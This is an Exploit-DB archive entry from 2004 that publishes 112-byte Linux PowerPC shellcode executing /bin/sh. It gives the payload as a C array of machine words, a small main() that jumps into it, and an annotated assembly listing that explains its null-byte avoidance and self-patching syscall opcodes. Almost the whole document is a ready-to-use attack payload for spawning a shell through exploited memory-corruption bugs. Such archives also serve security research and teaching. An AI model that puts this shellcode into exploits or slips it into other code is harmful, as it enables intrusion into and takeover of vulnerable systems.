Linux/PPC - execve(/bin/sh) Shellcode (112 bytes)

EDB-ID:

13304

Size:

112 bytes


Platform:

Linux_PPC

Published:

2004-09-12

/*
 *  Linux PPC shellcode
 *  execve() of /bin/sh by Palante
 */

long shellcode[] = { /* Palante's linuxPPC shellcode w/ NULL*/
  0x7CC63278, 0x2F867FFF, 0x41BC0054, 0x7C6802A6,
  0xB0C3FFF9, 0xB0C3FFF1, 0x38867FF0, 0x38A67FF4,
  0x38E67FF3, 0x7CA52278, 0x7CE72278, 0x7C853A14,
  0x7CC419AE, 0x7C042A14, 0x7CE72850, 0x7C852A14,
  0x7C63212E, 0x7C832214, 0x7CC5212E, 0x7CA52A78,
  0x44FFFF02, 0x7CE03B78, 0x44FFFF02, 0x4BFFFFB1,
  0x2F62696E, 0x2F73685A, 0xFFFFFFFF, 0xFFFFFFFF
};


void main()
{
  __asm__("b shellcode");
}

/*              disassembly

      .section ".text"      # Palante's LinuxPPC shellcode
      .align 2
      .globl m
      .type    m,@function
  m:
	xor  6,6,6            # r6 is 0
	cmpi  7,0,6,0x7FFF    # do meaningless compare
      bc 13,28,L2           # conditional branch to L2 - CAUSES NULL BYTE
  L1: mfspr 3,8	          # address of /bin/sh into r3 (execve parameter)
			
	sth  6,-7(3)          # fix sc opcode
	sth  6,-15(3)         # fix sc opcode
	
	addi 4,6,0x7FF0
	addi 5,6,0x7FF4
	addi 7,6,0x7FF3
	xor  5,5,4            #got 0x4 into r5
	xor  7,7,4            #got 0x3 into r7

	
	add  4,5,7            # r4 = 0x7
	stbx 6,4,3            # store null after /bin/sh

	add  0,4,5            # this makes 11 which is the execve system call
      sub  7,5,7            # r7 = 0x1 for exit system call	

      add  4,5,5            # r4 = 0x8
      stwx 3,3,4            # and store pointer to /bin/sh at r3+0x8
	add  4,3,4            # r4 = r3 + 0x8 (execve parameter)
	stwx 6,5,4            # store NULL pointer
      xor 5,5,5             # NULL (execve parameter)
      .long   0x44ffff02    # not quite an sc opcode
	or 0,7,7              # syscall 1 - exit
      .long   0x44ffff02    # not quite an sc opcode

 L2:  bl L1                 # branch and link back to L1
      .long 0x2F62696E      #/bin/shZ
      .long 0x2F73685A
      .long 0xffffffff      # this is where pointer to /bin/sh goes
      .long 0xffffffff      # this is where null pointer goes

 .Lfe1:
  .size    m,.Lfe1-m

*/

// milw0rm.com [2004-09-12]